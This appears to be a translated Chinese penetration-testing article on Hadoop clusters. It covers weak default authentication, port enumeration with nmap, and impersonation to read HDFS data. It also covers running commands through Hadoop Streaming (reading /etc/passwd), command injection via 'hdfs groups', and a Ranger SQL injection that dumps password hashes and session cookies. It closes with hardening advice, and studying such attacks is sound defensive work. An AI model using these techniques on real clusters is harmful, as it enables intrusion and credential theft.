天天看点

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

Hadoop及其安全模型概述

Hadoop简述

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的 MapReduce 算法进行分布式处理。这个框架被Adobe,Last fm,EBay,Yahoo等知名公司使用着。它极大地精简化程序员进行分布式计算时所需的操作,用户大概通过如下步骤在hadoop中实现分布式处理:用户创建一个处理键值的map函数

产生了一套中间键/值

reduce函数合并中间值并把他们关联到对应的键

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

虽说hadoop是免费且开源的,它还是分出了许多发行版,以下是三个最受欢迎的发行版:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

幸运的是,这三个版本都是基于Hadoop的,所以它们都大同小异。

这副图大致描述了Hadoop在大数据框架中的位置:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

显而易见,Hadoop在大数据环境中负责最底层的操作。图中的MapReduce负责数据处理。HDFS则是一种特殊的文件系统,其用来存储Hadoop里的数据。而在这两者之上的Yarn是Hadoop集群的资源管理器。

安全模型

身份验证

默认情况下,Hadoop集群不强制管理员添加身份验证。就算开了默认的身份验证(但是没有用Kerberos),它也只是简单地检查一下登陆的用户及其所在组是合法的。

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

有些时候,由于管理员疏忽,验证可能只会在部分模块打开。下面的配置文件分别描述了不同情况:

全部都需认证:

hadoop.security.authentication

simple

core-default.xml

只在Web接口验证:

hadoop.http.authentication.type

simple

core-default.xml

可匿名登陆:

hadoop.http.authentication.simple.anonymous.allowed

simple

core-default.xml

只在Yarn上开启身份验证:

yarn.timeline-service.http-authentication.simple.anonymous.allowed

simple

core-default.xml

不仅如此,每个Hadoop组件都有自己的认证模块,这无疑大大提升了防御的复杂度。

就拿HDFS来说,它同时支持*nix式权限(user/group/other)和ACL(2.5后加入)

!

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

数据保护

默认情况下(不开Kerberos),传输及存储的数据不会被加密保护。不过我们这里主要来谈一谈开启加密的状况,我们大致可以分成两种:传输加密:

在NameNode会有三种保护:第一种仅确认身份正确,而第二种额外保证信息完整性,第三种会加密所有数据。在所有Web应用中,SSL/TLS是默认打开的。DataNode则会使用AES加密数据并用RC4/3DES交换密匙。

存储加密:

Hadoop用Encryption Zone来保护目录并且每一个文件都有独特的密匙。

如何Pwn掉Hadoop

探索攻击面

一般来讲,Hadoop集群有这三种布置方案:完全暴露

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

这种情况下,攻击面十分广阔。攻击者更有可能非法获取数据。只有用户服务暴露

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

相对于前一种情况,攻击面大大减少了,而且必须要找到用户凭证或者Web漏洞才能进一步探索集群。高度隐匿

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

这种情况的攻击面被最小化了。攻击者需要想方设法才能进入Hadoop设施。

我们再来给端口分一下类:

NameNode的常规服务:

-- HDFS

TCP / 8020: HDFS metadata

$ hadoop fs -ls /tmp

HTTP / 50070 (50470): HDFS NameNode WebUI

$ HDFS WebUI explorer at /explorer.html

$ Redirecting actual data access to DataNode on port 50075

HTTP / 50090: Secondary NameNode WebUI

$ Fewer stuff than the primary on TCP / 50070

-- YARN / MapReduce v2

TCP / 8030-3: YARN job submission

HTTP / 8088 (8090): YARN ResourceManager WebUI

HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI

-- MapReduce v1 --

TCP / 8021: MapReduce v1 job submission

HTTP / 50030: MapReduce v1 JobTracker

DataNode的常规服务:

-- HDFS

TCP / 8020: HDFS metadata

$ hadoop fs -ls /tmp

HTTP / 50070 (50470): HDFS NameNode WebUI

$ HDFS WebUI explorer at /explorer.html

$ Redirecting actual data access to DataNode on port 50075

HTTP / 50090: Secondary NameNode WebUI

$ Fewer stuff than the primary on TCP / 50070

-- YARN / MapReduce v2

TCP / 8030-3: YARN job submission

HTTP / 8088 (8090): YARN ResourceManager WebUI

HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI

-- MapReduce v1 --

TCP / 8021: MapReduce v1 job submission

HTTP / 50030: MapReduce v1 JobTracker

除此之外,我们还需留心以下第三方服务:

HTTP / 14000: HTTPFS WebHDFS

HTTP / 8443: Apache KNOX

HTTP / 7180 (7183): Cloudera Manager

HTTP / 8080: Apache Ambari

HTTP / 6080: Apache Ranger

HTTP / 8888: Cloudera HUE

HTTP / 11000: Oozie Web Console

我们应该如何探测这些端口呢?之前对这些端口的支持很不友好,直到17年三月的一次commit,我们才能用nmap的http-enum脚本检测出这些服务:

/ Apache Ambari

/ Apache Oozie

/ Apache Ranger

/ Cloudera HUE

/ Cloudera Manager

/ Hadoop MapReduce v2

/ Hadoop YARN Node Manager and Resource Manager

nmap探测实例:

$ nmap -sV --script=http-enum -p- 192.168.11.150

PORT STATE SERVICE

6080/tcp open http

| http-enum:

|_ /login.jsp: Apache Ranger WebUI

8042/tcp open http

| http-enum:

|_ /node: Hadoop YARN Node Manager version 2.7.1.2.4.0.0-169,

Hadoop version 2.7.1.2.4.0.0-169

8080/tcp open http

| http-enum:

|_ /: Apache Ambari WebUI

8088/tcp open http

| http-enum:

|_ /cluster/cluster: Hadoop YARN Resource Manager version

2.7.1.2.4.0.0-169, state "started", Hadoop version 2.7.1.2.4.0.0-169

19888/tcp open http

| http-enum:

|_ /jobhistory: Hadoop MapReduce JobHistory WebUI

任意数据获取

WebHDFS提供REST API来给用户提供数据,在它只开启简单认证的情况下,我们仅需要提交user.name参数,即可获取任意数据。因此它成为了攻击目标的不二之选。那么我们如何找到这个服务呢?通常来讲,它会提供HDFS DataNode WebUI(默认端口50075)。或者可以在HTTPFS moudule(端口14000)及Apache KNOX(端口8443)找到该服务。

(PS:作者此处用 了自己写的脚本hdfsbrowser自动化攻击化,他在https://github.com/wavestone-cdt/hadoop-attack-library给出了更多hadoop漏洞利用脚本。)

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

我们甚至只需简单地在CLI中输入export HADOOP_USER_NAME=,即可进行越权访问:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

节点的RCE

Hadoop是一款分布式 处理 框架,它最重要的地方是 执行任务。当一个节点的ip过滤不当或者认证不严时,我们可以让它执行任意命令。

我们也不用操心Java代码。Hadoop Streaming能让我们在MapReduce中运行CLI命令:

#创建任务

$ hadoop \

jar \

-input /non_empty_file_on_HDFS \

-output /output_directory_on_HDFS \

-mapper "/bin/cat /etc/passwd" \

-reducer NONE

#检查是否有结果

$ hadoop fs –ls /output_directory_on_HDFS

#输出结果

$ hadoop fs –cat /output_directory_on_HDFS/part-00000

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

由于分布式的特性,我们并不清楚具体哪个节点在执行我们的payload,因此我们需要想方设法得到配置文件。最简单的方法是直接在原生WebUI(HDFS WebUI/ JobHistory/ ResourceManager)中请求/conf:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

如果前一种方法失效了,我们就需要利用第三方Web管理平台的漏洞了。比如说Cloudera Manager未授权下载漏洞:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

攻击Hadoop组件

在Hadoop 2.6.x < 2.6.5和2.7.x < 2.7.3中,只要hdfs用户在hadoop.security.group.mapping中有org.apache.hadoop.security.ShellBasedUnixGroupsMapping,他就可以执行任意命令。比方说:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

我们便可以:

unprivilegeduser$ hdfs groups '$(ping 127.0.0.1)'

unprivilegeduser$ ps aux|grep "ping 12"

...

hdfs 6227 0.0 0.0 15484 764 ? S 13:24 0:00 bash -c id -gn $(ping 127.0.0.1)&& id -Gn $(ping 127.0.0.1)

hdfs 6228 0.0 0.0 14732 868 ? S 13:24 0:00 ping 127.0.0.1

虽然ShellBasedUnixGroupsMapping不是默认组件,但还是有许多安全意识不足的管理员启用了它:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

攻击第三方模块

第三方组件往往也会带来许多安全问题,比方说一个后台注入(CVE-2016-2174):

GET http://:6080/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1

这样,我们就能dump密码:

> select last_name, first_name, email, login_id, password, user_role from x_portal_user,

x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3 :

[*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN

[*] , rangerusersync, 1457692398755_962_66, ambari-qa, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN

[*] , keyadmin, 1457692592328_160_91, amb_ranger_admin, a05f34d2dce2b4688fa82e82a89ba958,ROLE_KEY_ADMIN

甚至session cookies:

> select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like

'%admin%' and auth_status = 1) order by auth_time desc limit 3 :

[*] 2016-05-08 13:30:11, admin, DEC6C0A899BB2E8793ABA9077311D8E6

[*] 2016-05-08 13:04:15, stduser, CD4142620CB7ED4186274D53B8E0D59E

[*] 2016-05-08 13:01:26, rangerusersync, D84D98B58FC0F9554A4CABF3E205A5E8N

大部分的Hadoop集群会选择用Cloudera HUE做数据可视化,它的配置文件hue.ini默认可被任意读取。幸运的话,我们能够发现身份凭证:

hadoop漏洞_挖掘分布式系统——Hadoop的漏洞

虽然我们汇报了这个问题给Cloudera,但他们并不打算修复这些漏洞。

总结

我们可以发现,攻破Hadoop集群并不是非常难。这主要是因为默认安全机制的不严格,以及生态环境的复杂性而导致的。不仅如此,各大发行版也存在许多传统漏洞。为此,我呼吁各位管理员:全面开启Kerberos

避免让服务在公网中暴露

不要在边缘节点布置应用

正确配置Kerberos keyabs的权限

尽早更新软件

欢迎关注微信公众号:二向箔安全